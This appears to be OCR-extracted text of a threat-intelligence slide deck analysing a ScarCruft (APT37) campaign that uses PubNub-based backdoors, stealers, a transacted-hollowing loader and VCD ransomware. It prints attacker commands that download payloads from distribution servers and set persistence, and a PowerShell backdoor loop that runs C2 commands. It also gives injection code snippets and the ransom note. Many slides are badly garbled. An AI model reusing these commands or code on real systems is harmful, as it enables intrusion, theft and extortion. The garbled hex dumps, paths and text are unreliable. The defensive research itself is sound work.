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| Who is ScarCruft?
ScarCruft

Alias
APT37, Reaper, Ricochet Chollima, Red Eyes, Geumseong121, etc

Malware
ROKRAT, Chinotto, FadeStealer, AblyGo, Cumulus, etc

Target Sector

Media, Research, Diplomatic, Government, etc

Target Region/Country

South Korea, Japan, Vietnam, Russia, etc



| Who is ScarCruft?

T DRP

Overview Report Feed loC Signature DDW Telegram
51 946 193 59 213
APT Group loC Campaign Last Campaign
- ScarCruft 1.6K 99 2025.09.08
Alias #34121 #InkySquid #TEMP.Reaper #TA-RedAnt #Geumseong121 #RicochetChollima #Group123 #redeyes #APT37 #Reaper #RedEyes
Attack Profile All 3 months 1 month Custom
Target Country South Korea Cambodia Russia Ukraine Myanmar India Japan Vietnam Estonia Indonesia United States of America Tirkiye Taiwan Brazil
Saudi Arabia Canada Argentina United Kingdom South Africa Thailand Guam China France Fiji Philippines Italy North Korea Australia
Germany Mexico Malaysia
Target Industry Diplomatic Politics Government NGOs Software Academics Finance Journalists Media Education Military Defense Organizations IT
Think tanks Research Telecommunications Technology Cryptocurrency Healthcare Security Law Enforcement Law Firms & Legal services Construction Utilities
Transportation Maritime Manufacturing Critical Infrastructures Civil Society Energy

** Threat Actor Profile: ScarCruft by S2W's QUAXAR

Copyright (© 2025, S2W Inc.



| Subgroup of ScarCruft

puNK: partially unidentified North Korean threat actor

**Threat Group Taxonomy in S2ZW-TALON

3

DogpuNK
Windows

DROKDOC DROKLINK
GOLDBACKDOOR DROKBAT

Dolphin ROKRAT
macOS Android

CloudMensis Cumulus

Clugin

’ 3

.

pPUuNK-006

Windows

CabAutoltDownloader

ChinopuNK
Windows
CHINOBRIDGE CHINOLUSH JUMBOCHINO
CHILLYCHINO STRONGCHINO FadeBridge
AblyGo Chinotto FadeStealer
M2RAT PubNubRAT
Android
ChinoDroid KevDroid/Pinomitter
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| Spotlight on ChinopuNK

y 3

ChinopuNK
Windows
New
NubSpy
New New New
NubRunner TxPyLoader LightPeek
New ch
Ransomware
Android

2025 ©®

 ScarCruft's New Language: Whispering in PubNub,
Crafting Backdoor in Rust, Striking with Ransomware

#NubSpy

Copyright © 2025, S2W Inc.

#CHILLYCHINO

#VCD_Ransomware



Full Report //k\-

ScarCruft's New Campaign
targeting South Korea



| ScarCruft's New Campaign

@ Timeline
Since at least: Jun 30, 2025
First seen ITW: Dec 2024

Y Malware/Tool

Backdoor Stealer
NubSpy LightPeek
CHILLYCHINO FadeStealer
Ransomware Tool

VCD Ransomware Ultra VNC

@ Target

Country: [{e;
Sector: Diplomatic

Loader
NubRunner

TxPyLoader

Copyright (© 2025, S2W Inc.
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| Attack Flow

Common Chain
NubSpy

Victim-specific Chain
NubRunner NubSpy LightPeek

TxPyLoader FadeStealer
CHILLYCHINO VCD Ransomware

Common chain
——— Victim-specific chain

%

,' 202507_998978.html

Send @ Include l

Attacker

202507_998978.rar  202507_998978.html.Ink

b

ITISW exe

e II'

k Get command to execute
| urerama | PUDNUD

) Upload result
mov.da > | commn ctense |

(NubSpy, Autolt)

Files hosted on server A

Download

!

Distribution Server A

- list of files / directories

Upload exfiltrated data
- screenshots

payload via curl & Execute l

-~
o
ﬁ 0:

Distribution Server B

Files hosted on server B

Upload exfiltrated data

msedupdater.exe
(NubRunner)

l

msedge.ps1
(NubSpy, PowerShell)

LI

client.ps1 aiupdate.exe
(LightPeek) (CHILLYCHINO, Rust)
Send result

Get command

A ¢ )

wonder.dat ! tele_update.exe tele.conf
' (TxPyLoader)

_ 1
etele.dat
(VCD Ransomware)

tele.dat
(FadeStealer) .

Y

C&C Server C

Copyright © 2025, S2W Inc.




| Attack Flow: Common Chain

Attacker

Send

202507_998978.rar

 —

XE

. HTML

/" 202507_998978.html

Include

Q

202507_998978.html.Ink msw.exe

\
N
\
\
\
\
N
\
N

O |«——

msw.dat
(NubSpy, Autolt)

Copyright © 2025, S2W Inc.
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| Attack Flow: Common Chain

Attacker

2=
HTML

202507_998978.html

Send Include
— |l e c
202507_998978.rar  202507_998978.html.Ink "'s"I-e"e

I 2EaN
oart

OEEED
F7p1E7e M) SEHS(5XI2]) waeny

S HELIC

< M QMHS T3| W C22C WY

O www.ePOSTkr(QIE{H2H|F) - LHHS 27| » LHHS ZHM

O www.ePOSTkr(QIE{ YIS H) » LTHHS £7| » QHHS Lfj2{57]

23l 418 Selslgtzlol wasls ofelglc)

588-1300)= ol 8ato] Tl

Register new victim

> device-register

Get command to execute

D |«

msw.dat
(NubSpy, Autolt)

Copyright © 2025, S2W Inc.

> result-channel

Upload result

—» | command-{clientid}

PubNub

14



| NubSpy

NubSpy is the backdoor-typed malware that uses the PubNub API to
receive commands and sends back execution results

* First seen: Jul 2025

- Malware Type: Backdoor

- Base Language: Autolt, PowerShell

Q

msw.dat
(NubSpy, Autolt)

Persistence

\.

Execute

\

e

Register new victim

v >

Get command to execute

) -

Communication

|

\Upload result
>

J/

Copyright © 2025, S2W Inc.

device-register

result-channel

command-{clientid}

PubNub

15



| NubSpy

%

Generate ClientlD & CommandChannel

@

ClientID: {ComputerName}<{Username}
Command Channel: command-{ClientID}

Generate

Vi Create New Scheduler

Name of Task: MicrosoftEdgeUpdateTaskMachineUAEC
Task: c:\users\public\imsw.exe c:\users\public\msw.dat

Persistence

Update New Victim

Vv
Uploaded Data: {ClientID}
PubNub Channel: device-register

Global
Global
Global

Global
Global
Global
Global

Global

$pubKey = "pub-c-51701637-6433- M

$subKey = "sub-c-3734216-6206- "

$commandsubKey = "sub-c-95e208a4- "
Exposed API Key

$pcName = EnvGet (" COMPUTERNAME")

$userName = EnvGet ("USERNAME")

$deviceld = $pcName & "-" & SuserName

$deviceChannel = "command-" & $deviceld

$taskName = "MicrosoftEdgeUpdateTaskMachineUAEC"

—

Register

7 Get Commands

@ Receive commands from a target-specific PubNub channel
@ PubNub Channel: {Command_Channel}

Listen
Upload Result
Receive commands from a target-specific PubNub channel
PubNub Channel: result-channel

Upload

 PubNub

device-register

result-channel

command-victimid1

command-victimid2

command-victimidN

Copyright © 2025, S2W Inc.

Attacker
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| NubSpy

%

Generate ClientlD & CommandChannel

@n ClientID: {ComputerName}<{Username}
0] Command Channel: command-{Client|D}

J

Generate

v Create New Scheduler

Name of Task: MicrosoftEdgeUpdateTaskMachineUAEC
Task: c:\users\public\imsw.exe c:\users\public\msw.dat

J

Persistence

Update New Victim

Uploaded Data: {ClientID}
PubNub Channel: device-register

—

Register

N7 Get Commands

@ Receive commands from a target-specific PubNub channel
@ PubNub Channel: {Command_Channel}

> PubNub

]&

|
J

Listen
VvV
Upload Result
Receive commands from a target-specific PubNub channel
PubNub Channel: result-channel

Upload

Copyright © 2025, S2W Inc.

device-register

Records clientlD generated for each victim

deviceld deviceld deviceld
deviceld deviceld deviceld

result-channel

Records command execution results from

victim

{"sender":"{deviceIld}","content":"{Base64_Enc_Output}"}
{"sender":"{deviceId}","content":"{Base64_Enc_Output}"}
{"sender":"{deviceId}","content":"{Base64_Enc_Output}"}
{"sender":"{deviceIld}","content":"{Base64_Enc_Output}"}

command-victimidN

Stores commands to be executed per victim

commandl, command2, command3,

17



| Attack Flow: Victim-specific Chain

(A
\ /
\ﬂt]"f '\ msw.dat

e NubSpy, Autolt
Distribution Server A (NubSpy, Autolt)

Q

msedupdater.exe
(NubRunner)

l

pubnub

msedge.ps1
(NubSpy, PowerShell)

% 5

client.ps1 aiupdate.exe
(LightPeek) (CHILLYCHINO, Rust)
A
Send result

Get command

y

| )
ier
C&C Server C
Copyright © 2025, S2W Inc.

\

B\

g

1
NP S
‘\.'l’
Nl

Distribution Server B
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| LightPeek

Type

Collect basic
information

Download
additional payloads

Maintain
persistence

Execute malware

A
A

3

PubNub

Attacker

Command Executed

whoami
dir d:

curl hxxp://{distribute_server_A}/lib/Classes/new/client.dat -o
c:Wprogramdatatclient.ps1

reg add HKCUWSoftware¥MicrosoftWindowsWCurrentVersionWRun /v
EdgeBrowserUpdate /d
"C:HWWindowsWSystem32WWindowsPowerShellWv1.0¥powershell.exe -w hidden
-ep bypass c:WprogramdataWclient.ps1" /f

powershell c:WprogramdataWclient.ps1

powershell -w hidden -ep bypass c:#programdatatclient.ps1

Copyright © 2025, S2W Inc.
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| LightPeek

First seen in Jul 2025
Malware Type: Stealer
Base Language: PowerShell
Collected Information

* Local Files/Directories

» Screen Captures

\#’\\

Distribution Server A

® % e
client.psi
(LightPeek)
l A
pubnub
\/
‘J\!'t

Copyright © 2025, S2W Inc.

C&C Server C
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| LightPeek

Type

Collect basic
information

Download
additional payloads

Maintain
persistence

Execute malware

PubNub

A

A

3

Attacker

Command Executed

whoami

curl http://{distribute_server_A}/lib/Classes/new/aiupdate.dat -o
c:WusersWpublicaiupdate.exe

schtasks /Create /SC MINUTE /MO 15 /TN "AllnterfaceUpdate" /TR
"c:WusersWpublicWaiupdate.exe" /F

c:WusersWpublicWaiupdate.exe

Copyright © 2025, S2W Inc.
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| CHILLYCHINO

)|
- # \3
\«‘&!’L

Distribution Server A

o]

*)

B

aiupdate.exe

(CHILLYCHINO, Ru

First seen in 2023 Mar

Malware Type: Backdoor

st)

Base Language: PowerShell, Rust

| :
pubnub Send result
Get comman d
L] ]
XD Yer
C&C Server C

Copyright © 2025, S2W Inc.

e Timestamp: 2025-07-10 07:53:11 (UTC)

22



| CHILLYCHINO

%

@

Generate
A4

o)

aiupdate.exe
(CHILLYCHINO, Rust)

Get

@

Upload

Generate ClientID

[ {ComputerName}{Username}

Get Command

[Execute received commands via cmd.exe

Upload Result

Encode execution result with Base64
Upload encoded result to C&C Server

C2 Parameter (Client — C2 Server)
 U={clientID}
« U={clientID}&R={enc_result}

A

v

Copyright © 2025, S2W Inc.

/ ”'l“*‘
Oz

N

C&C Server C
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| CHILLYCHINO

[2023] PowerShell-based CHILLYCHINO

Start-Sleep -Seconds 62;
$ukch = $env:COMPUTERNAME+ '-' + $env:USERNAME;
$hSudPBr = 'hxxp://[C2_URL]/mid.php' + '?U="' + $ukch;
jwdPax@jB = $env:TEMP + '\SDDC'; . o
g s \ hxxp://[C2_URL]/mid.php?U={clientID}
Try{
$TFKINUU1 = ZSXNbbd $hSudPBr '';
If ($TFKINUU1 -ne 'null' -and $TFKINUUl1l -ne ''){
$TFKINUU1=$TFKINUU1.SubString(1, $TFKINUUl.Length - 2);
$AuGGhry = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String($TFKINUU1));
if ($AuGGhry) {
cmd.exe /c $AuGGhry > $jwdPax@jB;
$KqHZBHZFER = Get-Content $jwdPax0jB;
$bbGDIzkErtzlg= 'R="' +
[System.Convert]::ToBase64String( [System.Text.Encoding]::UTF8.GetBytes ($KqHZBHZFER) ) ;
ZSXNbbd $hSudPBr $bbGDIzkErtzlq;
}

}
Catch{}

Start-Sleep -Seconds 6;
Ywhile ($true -eq $true)

Copyright © 2025, S2W Inc.
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| CHILLYCHINO

[2025] Rust-based CHILLYCHINO

if f MaxCount;ll )
encoding_rs::Encoder::max_buffer_length from utflé without replacement (MaxCount 10, MaxCount 11, 1);

*(_QWORD *)c2 url = &ptr_c2string;// "https:// net.php?U="

*(_QWORD *)&c2 url[8] = <&T as core::fmt::Dispray~>::T1mt; . _ .

* (CQWORD *)&2 url[16] = vo5-: hxxp://[C2_URL]/net.php?U={clientID}
*(_QWORD *)&c2 url[24] = <url::Url as core::fmt::Display>::fmt;

*(_QWORD *)&c2 url[32] = username;

*(_QWORD *)&c2 url[40] = <url::Url as core::fmt::Display>::fmt;

*(_QWORD *)&c2 url[48] = v94 + 36;

*(_QWORD *)&c2 url[56] <url::Url as core::fmt::Display>::fmt;

execution output[0] .ml28i_i64[0] (__inte4)&unk 1401C7008;

execution output[0].ml128i_1i64[1] = 4;

execution output[2].ml128i_164[0] = 0O;

execution output[l].ml128i_164[0] = (_ int64)c2 url;

execution output[1l].ml128i_1i64[1] = 4;

v196 = v252;

vli2 = v254;

v195 = v254;

i 18 = i _8; 9
i 24 = i_8; l\

alloc::fﬁt::format::format_inner(&v158, execution_output); . .
Versatility Defense Evasion

Copyright © 2025, S2W Inc. 25



| Attack Flow: Victim-specific Chain

/ ° \

msw.dat B\

B\ (NubSpy, Autolt) 1
1 B3I
SR NAD

Distribution Server A Distribution Server B

.........................................................

gl.. (& — | &

, ; , wonder.dat ! tele_update.exe tele.conf tele.dat
' (TxPyLoader) (FadeStealer) .
pubnub

________________________________________________________

wl
Y etele.dat
@ (VCD Ransomware)
{0/
C&C Server C

Copyright © 2025, S2W Inc.



| Malware from Distribution Site B

Tvpe Command Executed
Collect basic H :
information whoami

curl https://{distribute_server_B}/community/japerson/wonder.dat -o

Download c:WprogramdataWwonder.cab

additional payloads curl https://{distribute_server_B}/community/japerson/etele.dat -o

c:WprogramdataWtelegram_updatetttele.dat

Decompress expand c:Wprogramdata¥wonder.cab -F:* c:Wprogramdata

c:WprogramdataWtelegram_updatettele_update.exe
Execute malware  cWprogramdatatttelegram_updatetttele.conf
c:WprogramdataWtelegram_updatetttele.dat

del c:Wprogramdatatttelegram_updateWtele.dat

Delete files
rmdir /s /q c:WprogramdataWtelegram_update

Copyright © 2025, S2W Inc.
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| Malware from Distribution Site B

wonder.dat

— _asyncio.pyd

_bz2.pyd

—— _ctypes.pyd

—— _decimal.pyd
—— _elementtree.pyd
—— _hashlib.pyd

— python3.dll

—— python37.dll

— python37.zip
— select.pyd

— sqlite3.dll

— tele.conf

— tele.dat

—— tele_update.exe
—— unicodedata.pyd
—— update.pyd

— veruntime140.dll

— python37._pth I

—— winsound.pyd

Copyright © 2025, S2W Inc.

etele.dat
(VCD Ransomware)

o — | &

tele_update.exe tele.conf

(pythonw.exe) (TxPyLoader)

tele.dat
(FadeStealer)

_________________________________________________________
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| TxPyLoader

TxPyLoader is a loader that injects payloads using the Transacted Hollowing

technique.

* First seen in Jul 2025

- Malware Type: Loader

- Base Language: Python

« Timestamp: 2025-04-26 04:15:55 (UTC)

-

(legitimate

CreateProcessinternalW
EXE)

NTFS Transaction
File
(payload)
v
Section with
payload »
(MEM_IMAGE) map Secton into
the process,
redirect Entry
Point, update
PEB
Transacted
Hollowing

A process impersonation technique created
by merging elements of Process Hollowing
with the elements of Process Doppelganging.
Observed in Osiris loader.

| Suspended Process

>

|

» & r
p
Process running the
payload

Source: Malwarebytes

Copyright © 2025, S2W Inc.
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| TxPyLoader

Decode Payloads

Read data and decode with Base64

cursor = first byte value + 1

1
2
3. XOR key length = payload[cursor]
4. cursor = cursor + 1

5

encoded payload

= payload[cursor : cursor + key_len]

%

Decode
VvV

Inject

Decode Payload

Read tele.dat and decode data using Base64 & XOR
Operation

Check PE Format

Verify if the decoded payload’s offset at 0x3C points to the
PE header and identify the file architecture (32-bit / 64-bit)

Transacted Hollowing

Select a process randomly from a hardcoded list and
inject the decoded file into memory for execution

Copyright © 2025, S2W Inc.
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| TxPyLoader

hasherezade / transacted_hollowing

() Issues 2 §9 Pullrequests (») Actions

. transacted_hollowing ' Public

¥ main ~ ¥ 1Branch © 1Tag

M img

[ .appveyoryml

[ CMakeLists.txt

[ LICENSE

(Y README.md

[ delete_pending_file.cpp
[ delete_pending_file.h

[ hollowing_parts.cpp

f( Projects @ Security [~ Insights

?

N =

Q Go to file t Add file ~

‘ hasherezade [REFACT] Split image base update and entry point redirection d180e24 - last year

[NOBIN] Added image

Update .appveyoryml

[FEATURE] Added a variant with delete-pending file (Gho...
Initial commit

Update README.md

[FEATURE] Added a variant with delete-pending file (Gho...
[FEATURE] Added a variant with delete-pending file (Gho...

[REFACT] Split image base update and entry point redirec...

Q Type (/] to search 8 ~ + -

® Watch 20 ~

<> Code ~

O 33 Commits

4 years ago
4 years ago
4 years ago
4 years ago
3 years ago
4 years ago
4 years ago

last year

% Fork 83 - ¥y Star 564

About

Transacted Hollowing - a PE injection
technique, hybrid between
ProcessHollowing and
ProcessDoppelganging

pefile malware code-injection

pe-injector

Readme
MIT license
Activity
564 stars

20 watching

€ O % ¢ B

83 forks

Report repository

Copyright (© 2025, S2W Inc.
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| TxPyLoader

if ((status = NtMapViewOfSection(hSection, hProcess, &sectionBaseAddress, NULL, NULL, NULL, &viewSize, ViewShare, NULL, PAGE_READONLY)) != STATUS_SUCCESS)

{
if (status == STATUS_IMAGE_NOT_AT_BASE) {
std::cerr << "[WARNING] Image could not be mapped at its original base! If the payload has no relocations, it won't work!\n";
}
else {
std::cerr << "[ERROR] NtMapViewOfSection failed, status: " << std::hex << status << std::endl;
return NULL;
}
}

std::cout << "Mapped Base:\t" << std::hex << (ULONG_PTR)sectionBaseAddress << "\n";
return sectionBaseAddress;

if dpT68 == aaFltaVVvdQ:

PoC of
Transacted Hollowing

print(" [WARNING] Image could not be mapped at its original base! If the payload has no relocations,it won't work!")

return
if dpT68 != 0:
print(f"NtMapViewOfSection() failed. Error: {dpT68}")
return
print(f"Mapped Base: {hex(eb4S186r.value)}")
return eb4S186r

Copyright (© 2025, S2W Inc.

Python-ported
Version
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| FadeStealer
* First seen in Mar 2023
- Malware Type: Stealer
 Base Language: C/C++
« Timestamp: 2025-07-10 07:53:11 (UTC)

Type Path

Keystroke %Temp%/VSTelems_Fade/NgenPdbk
Screenshot %Temp%/VSTelems_Fade/NgenPdbc
Microphone Recording %Temp%/VSTelems_Fade/NgenPdbm
Portable Device %Temp%/VSTelems_Fadeln
Removable Disk %Temp%/VSTelems_FadeOut

Commands to compress log path to RAR file
cwindowsWsystem32WWcemd.exe /c "% Temp%Wrarexe” a -r -ep1 -

mO0 -y -pNaeMhq[dlq -v1g "%Temp%¥watch_{yyyy_mm_dd-
hh_mm_ss}.rar" "% Temp%WWVSTelems_FadeWw* *"

Copyright © 2025, S2W Inc.

3

Create Mutex

[ Mutex: Avoid App Double Running IPFIX

Mutex

N Set Working Path

Creates folders under %Temp% to store stolen information
by category.

Set
v

Update New Victim
[CIientID:{ComputerNameHUsername}

Register

A\
Get Commands

[Get target path string from C&C Server

Listen

Collect Data

Collect microphone, screen capture, keylogging, removable
device, portable device information
Collect
v

Compress Log Path

Compress log path with password
Password: NaeMhq[d]

Compress

hd Upload Result

@ [Upload archive file and send to C&C server

Upload

33



| VCD Ransomware

VCD Ransomware is ransomware that changes extension of the target files
into *.vcd

First seen in Jul 2025

Malware Type: Ransomware
Source: C/C++

Timestamp: 2025-07-25 11:13:19
(UTC)

_________________________________________________________

=
“ soooos @ — =
wonder.dat | tele_update.exe tele.conf
| (TxPyLoader)

tele.dat
(FadeStealer) .

_________________________________________________________

etele.dat
(VCD Ransomware)

Copyright © 2025, S2W Inc.
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| VCD Ransomware

3

Create Mutex
[Mutex: Mutex ]

Traversal Target Files & Drop RansomNote

Filename Email
00_FILE-RECOVER-GUIDE.ixt creativeidea2024[@]proton.me
00_I}¥-=7-710| E. txt

Explore
VvV

File Encrypt
AES-256-CBC for File encryption
RSA for Key encryption

Encrypt
V
Self-Deletion
[cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q {filename} ]
Delete

Name of Ransom Note
« KR Version: 00 It -F71-7}0| £ txt
« EN Version: 00 FILE. RECOVER-GUIDE.txt

Email Address used in Ransom Note

« creativeidea2024@proton.me

Copyright © 2025, S2W Inc.
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| VCD Ransomware

- Traversal Target Files & Drop Ransom Note

~]oo_TtY-£2-R-7+0| E txt - Windows H| 2%
o) HEE) MA©O) BV =22
R LS 0T = R

[77}2

1INe]
0
=

Qe 4 9LtQ?
- o == T M .
O 55 SHE st ™ 2~3710| IS EUWFAIT i Dol A= & =510 FE2 CHA| EW{EEL|CH 0|Zi0] 2|9 EF YL|Ct.

>0

Do A AESHE Sy
: LHO| A ojo| 22 0| 835t0] xEE & ASLICEH
Lj O|oj| ¥ FA: creativeidea2024@proton.me

=ot P82 O T TAL|LIR?
2ls HotolA Y= ois Z2a™e ELELD, Ol Z2A™YCR {310 & mpU0| siSEL|CH

>0
I
=
OF ot
4o Jir

=0
re
=
>
)
n
u
>
(]
2
fo
-~J

o
L =
o =2 X|2oioF YLICt. 0| 0| Fact TEYLICE FO|: H=SHE(VCD A THEE +85HA| DM AL, #783HE 5771 O Of2{YX| 7Lt v deta s AL/

00_I}Y-E1-7}0| E. txt
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| VCD Ransomware

Traversal Target Files & Drop Ransom Note

Some FAQ:

Q: What's happened?
A: All your files have been encrypted with strongest key and now have "VCD" extension. (The file structure was not damaged.)

Q: How to recover files?
A: If you wish to decrypt your files you need to pay money. This is the only way. Attention: Do not to modify encrypted (VCD
extension) files, it makes harder or even disable to recover.

Q: How can i believe you?
A: It's just a business. If we do not care our liabilities, nobody will cooperate with us.

To check the ability of recovering files, you can send to us any 2 or 3 files, we will decrypt them and send back to you for
FREE! This is our guarantee.

Q: How to contact you?
A: You can write email to me for chatting.

My Email Address: creativeidea2024@proton.me creativeidea2024@ proton.me

Q: How will the decryption process proceed after payment.
A: After payment, we will send to you our decryption program and THIS WILL DECRYPT ALL YOUR FILES!

Q: How long will you wait?
A: Three days, after that the price will be DOUBLED.

“““““““ Vhanliyep se=mme==ss 00_FILE_RECOVER-GUIDE.txt
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| VCD Ransomware

Skips files larger than 200MB
Encrypts with AES-256-CBC
« key and IV from protected with RSA
- Pattern: encrypt 512KB, skip 64KB
Stores padding and original file size at the end

Renames encrypted files with “.VCD"” extension

Encrypted Section (Default: 0x80000)
Plain Section (Default: 0x10000)

RSA Encrypted AES KEY (0x200)

RSA Encrypted AES IV (0x200)

List of PADDING ((Default 0x10)

Size of Original File (0x8)

Copyright (© 2025, S2W Inc.

Offset (h)
00000020
00000030
00000040

00080030
00080040

00605060
00605070
00605080
00605090
006050R0
006050B0O
006050C0
006050D0
006050EQ
006050F0
00605100
00605110
00605120
00605130

00 01 02
I 59
CS 1F
40 FB 68
S
BO 8C
€0 00
03 A3

03

SC
1F
€D

DB
FR
FD

]
30
Cc7
46
BE
ag

B3
ES
CS
87
73
L4

€0
87
86
&C
84
AC

o817
50875
A9 Cz2
€S5S 88 695 AC
6F 86 DF
B3 DagN2 C4
BE 16 6F

Ce
25

RO O3
SA B4
B89 E2
12 42 55

FB C4

14 CS
96 DB 94
BD F2
€2 82

6L

o885
w ™

m O

J w0

13
oW

0

J

w0
) 0~

[ BT w B BRI =
[

ST S T o Y SO e e s S )

o
pAen
EF 9

[

79 F5 B
56 BA C
SA E

D7 EF 7A
4C &0
Size of Original File

WO s,

o
w 0

04

S0
2E
72
3D
81
S8
3C

AC
38

85
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BD

an
22
=1
53
g
13
45
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a1l
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7D
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=0 wo
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09
06

oD
B8

73
D2
TR
26
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17
DO
BE
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3 36 4B 43

06 07 08
68 74 0C 14
D1 4F D6 EA

Encrypted Data
(default: 0x80000)

17 AL 28 ChH
€1 E2 60 €B
3E 0A 13 85

09

29 18
6E Eé&
Plain Data
(default: 0x10000)
OE DF 31 4B
22 6D Ce 82

SC
i

8C
D4

De AC
56 952
24 87
Cl 8C 2A
49 &7 A3
. aem
E0 50 22

31
C4
Ls
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o
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21
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28
22
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¥ -
e
ER
1C

55
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= 17
18
CB

23
]
8C
DO
I

33

ey
D&
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E4
ED
B8
F8

EE
BE
83
A7

oA
30
AF
E8

1
1z
o4
CR

e
4F
87
BA 46
1D A2
Ca 81
36 09
List of PADDINGs
(Default: 0x10)

A5 7F 93 AS
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14 D3 CF OF
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HewOa
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m

00 00
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FR
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| Responsible Disclosure

L : To Whom It May Concern,

My name is and I'm the VP of Engineering at PubNub. Your report
titled, "ScarCruft's New Language: Whispering in PubNub, Crafting Backdoor in
Rust, Striking with Ransomware" details how malicious actors are using PubNub
to coordinate malware campaigns. We do not condone the kind of malicious
activity detailed in your report, which is also counter to our terms of service.
We would like to request any information you may have that could aid us in
preventing the further misuse of our systems. To that end, here are some
preliminary requests | have:

1. Please share any credentials (non-redacted) used by the malicious actors.
PubNub Publish and/or Subscribe Keys, UUIDs, IP addresses of malicious
servers, or other unique identifiers would be helpful.

2. Is there any other pattern you're recognized that we can use to identify the
malicious actors? | recognize that shutting down any keys, etc. won't stop the
actors from just creating new ones, and any patterns you've identified could
help prevent future attacks, at least of this variety.

3. Please share any copies of "NubSpy" or other control software that misuses
our systems that you have obtained as part of your investigation.

PubNub takes all security incidents seriously, and will work with relevant
authorities to prevent misuse of our service. Thank you in advance for any
information you can provide in this matter.

Copyright © 2025, S2W Inc. 40



| Malware C2 Infrastructure

1)
\«— 1@
4 Tt |

Distribution Server A

(A

msedupdater.exe
(NubRunner)

l

pubnub

msedge.psi
(NubSpy, PowerShell)

% 54

client.ps1 aiupdate.exe #-. s
(LightPeek) (CHILLYCHINO, Rust) Rt
T | Distribution Server B
-] ? :
8- |® — ,&' |
wonder.dat ! tele_update.exe tele.conf tele.dat
] (TxPyLoader) (FadeStealer)

________________________________________________________

etele.dat
(VCD Ransomware)

Copyright (© 2025, S2W Inc.
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| C2 Script for FadeStealer & CHILLYCHINO

E

5

(Child)

aiupdate.exe tele.dat
(CHILLYCHINO) (FadeStealer)

U={clientld}
U={clientld}&R={base64 res}

Server-Side
Script

info

U={clientld}&C={base64 cmd}

U=parent

C&C Server B
> | () -
A

Copyright © 2025, S2W Inc.

{

}

"parent": [

{"id": "<clientId>"

1,
"child": [

{"id": "<clientId>"

]

(Parent)

, "text": "<base64_res>"}

, "text": "<base64_cmd>"}
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| C2 Script for FadeStealer & CHILLYCHINO

=

C&C Server B
o B
aiupdate.exe tele.dat Server-Side Attacker
Chl'd — Parent (CHILLYCHINO, Rust) .= (FadeStealer) Script
(GET)

. U={clientID
U={clientID} { } >
« Register victim & polling for command Unregistered clientD triggers ~

9 POTing SEVMTw== entry in parent queue 5

R={base64 res}

« Upload execution result Return child queue

< (GET)
U={clientID}&C={base64 cmd}
. Bl
Parent — Child Update command in child queue
(GET/POST)
U=parent U={ClientID}&R={base64 res} R
* Retrieve collected results Update result in parent queue (GET)
U=parent
C={base64_cmd} -
« Deliver command to victim Return parent queue

Copyright © 2025, S2W Inc. 43
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| Connection to ScarCruft

Malware
a3 PUbNubRAT
W KevDroid

”

Malware
22 NubSpy

=8 VCD Ransomware

), N

Malware Infrastructure
FadeStealear PubNub for Command Control & Phishing
CHILLYCHINO  C2 Script for FadeStealer

Copyright © 2025, S2W Inc. 45



| Overlaps with Operation ‘Rocket Man’

Security Response Center (ESRC)
ESTsecurity

Threat
Intelligence Report

ESRC-1808-TLP- -IR002

*Source: ESTsecurity, OPERTAION ‘Rocket Man’

* First seen in Apr 2018
- Malware Type: RAT

* Framework: .NET
00000000 70 73 2E 70 6E 64 73 6E 2E 63 6F 6D 1A 1D 4C 69 | ps.pndsn.com. .Li
00000010 75 44 69 6E 1A 1D 73 75 62 2D 63 2D 66 32 66 32| wlin. .sub-c—f2f2
00000020 | 65 39 33 32 2D 38 66 62 31 2D 31 31 65 38 2D 62 ==TIT=STOI=ITE=C=
00000030 64 66 35 2D 33 36 32 31 64 65 33 39 38 32 33 38  df5-3621de398238
00000040 1A 1D 70 75 62 2D 63 2D 37 30 30 32 30 62 62 33 ..pub-c-70020bb3
00000050 2D 31 39 39 61 2D 34 31 35 31 2D 62 37 31 63 2D  -199a-4151-b71c-
00000060 62 34 36 33 36 66 30 36 62 32 34 34 1A 1D 73 65 b4636£f06b244. .se
00000070 63 2D 63 2D 4E 32 51 30 5A 6A 4D 30 4E 6A 41 74 c-c-N2Q0ZjMONjAt
00000080 4D 54 4A 68 GA 69 30 30 4E 32 59 77 4C 57 45 32  MTJhZiOON2YwLUE2
00000090  4E 44 41 74 59 54 55 77 SA G7 45 35 GA 6D 59 77 NDAtYTUwZWESZnYw
000000AD  4E 47 4E 6B 1A 1D 63 69 70 2D 63 2D 51 50 57 4F NGNk..cip-c—-QPWO
000000BO 45 49 61 6C 73 6B 64 64 71 70 77 6F 65 69 61 6C Elalskdjgpwoeial
000000C0O | 73 6B 64 64 1A 1D 31 31 31 39 1A 1D skdj..1119. .
- E:\project\windows\Rocket\Ant\Api\PubnubApi\obj\Debug\net35YPubnub.pdb
- E:\project\windows\Rocket\Ant_3.5\Ant\obj\Release\Ant.pdb

Copyright (© 2025, S2W Inc.
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| PubNub-Based Phishing Infrastructure

var cnt = 0;
var connected = 0, received = 0;
var pubnub = new PubNub({

subscribeKey: "sub-c-6b8bb4e6-9975-11e9 "

publishKey: "pub-c-73e43c61-887d-4dad- B
ssl: true
});
pubnub.subscribe({
channels: ['bearisgood'],
};
pubnub.addListener({
status: function(statusEvent) {
if (statusEvent.category === "PNConnectedCategory") {
connected = 1;
}
h
message: function(message) {
// handle message

if (message.message === 'DOWN')

{
if (message.userMetadata.Command === 'REPLY_TEST')
{

received = 1;
cnt = 0;

B3 AE &el

OFKISHAO|H] ALB® 2IoH 81l 2| 74

ot
(
N

Sample

HIYHE

&2l

QRI=0f| 2|8} &2l

‘ Sampl.. v

var content = message.userMetadata.Content.split("\n");
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| Similarities in C2 Scripts

[2022] ScarCruft’s Information Gathering Activities [2025] Decrypted PHP Script

2 2 =
=36 @
- N C&C Server B
RAT Ably Channel Actor AN
Open Channel 9
Get Key 4
Channel connect :Key . :
aiupdate.exe tele.dat Server-Side
(CHILLYCHINO, Rust) . (FadeStealer) Script
1 Channel Connect Session
ID : victim1 < (G ET)
Textdata : HELO .
Dot o Up ID : victim? U={clientID}
Textdata : bitsadmin mal.exe >
Data name : Down
recv command 4
4
> . . .
P Unregistered clientID triggers
Textdata : mal.exe execution result S EVM TW _—— e ntry i N pa re nt q u e u e
Data name : UP
KISA “TTPs § ScarCruft Tracking Note” Parent queue in “info” file
Message Name (Feature) Data Format S EV M TW —_—— [
{llid II: n Il' "text": n ll}'
UP (Sends HELLO and uploads command result) {"ld":"PC Name""Textdata":"SEVMTw=="" we 1 . " T "
{"id": <clientiID>, "text": "SEVMTw==
